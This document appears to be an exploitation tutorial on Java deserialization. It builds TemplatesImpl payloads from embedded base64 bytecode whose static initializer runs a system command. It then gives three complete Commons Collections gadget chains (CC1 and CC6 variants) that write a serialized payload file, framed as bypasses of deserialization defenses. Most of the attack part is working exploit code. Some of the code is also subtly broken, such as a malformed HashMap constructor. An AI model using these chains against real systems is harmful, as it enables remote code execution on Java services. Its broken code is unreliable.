Exploiting TemplatesImpl for Bypassing Common Java Deserialization Defenses
Core Principle: Static Initializers and Class Initialization
Java class loading occurs in three phases: loading, linking, and initialiaztion. Only during initialization are static blocks executed. This distinction is critical: ClassLoader.loadClass() loads without initializing, while Class.forName(String) triggers initialization by default.
Consider a malicious class with a static initializer:
public class MaliciousClass extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
Simply loading this class via loadClass() does nothing. But if it is initialized — for example, via newInstance() — the static block executes, spawning a calculator process.
Exploiting TemplatesImpl
The com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl class is designed to compile and load XSLT translet classes dynamically. It internally uses a private TransletClassLoader to define classes via defineClass(), and calls getTransletInstance() which internally invokes newInstance(), triggering initialization.
The exploitation path is:
- Inject malicious bytecode into
TemplatesImpl._bytecodes - Ensure the class extends
AbstractTranslet(required for validation) - Trigger
newTransformer()→getTransletInstance()→defineClass()→newInstance()
Initial payload construction:
TemplatesImpl templates = new TemplatesImpl();
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] maliciousClassBytes = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
"AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
"bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
"bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
"b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
"bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
"cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
"YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
"aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
"AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
"dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
"Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
"OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
"ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
"Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
"YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
"L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
"YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
"dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
"AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
"AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
"AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
"AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
"EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
"AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
"EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
byte[][] codes = {maliciousClassBytes};
bytecodesField.set(templates, codes);
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "malicious");
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
At this point, calling templates.newTransformer() will trigger the static initializer. But we need to chain this through a gadget chain that avoids direct method calls.
Bypassing InvokerTransformer with InstantiateTransformer
To bypass restrictions on InvokerTransformer, we use InstantiateTransformer to instantiate TrAXFilter — a class whose constructor accepts a Templates object and internal calls newTransformer().
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
This replaces the need for InvokerTransformer("newTransformer", ...). The chain now looks like:
ObjectInputStream.readObject() → AnnotationInvocationHandler.readObject() → Map.get() → ChainedTransformer.transform() → InstantiateTransformer.transform() → new TrAXFilter(Templates) → TemplatesImpl.newTransformer() → getTransletInstance() → defineClass() → newInstance() → static block executes
Full Exploit Chains
Chain 1: CC1 with AnnotationInvocationHandler
Map<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object payload = constructor.newInstance(Target.class, transformedMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(payload);
oos.close();
Chain 2: CC1 with LazyMap
Map<Object, Object> lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = handlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map<Object, Object> proxyMap = (Map<Object, Object>) Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
new Class[]{Map.class},
handler
);
Object payload = constructor.newInstance(Target.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(payload);
oos.close();
Chain 3: CC6 with TiedMapEntry
Map<Object, Object> baseMap = new HashMap<>();
Map<Object, Object> lazyMap = (Map<Object, Object>) LazyMap.decorate(baseMap, chainedTransformer);
TiedMapEntry tiedEntry = new TiedMapEntry(new HashMap<>, "dummy");
Field mapField = TiedMapEntry.class.getDeclaredField("map");
mapField.setAccessible(true);
mapField.set(tiedEntry, lazyMap);
Map<Object, Object> poisonMap = new HashMap<>();
poisonMap.put(tiedEntry, "value");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(poisonMap);
oos.close();
Each chain avoids direct use of Runtime.exec() or InvokerTransformer by delegating execution to Java’s internal XML transformation engine, making them effective against hardened environments.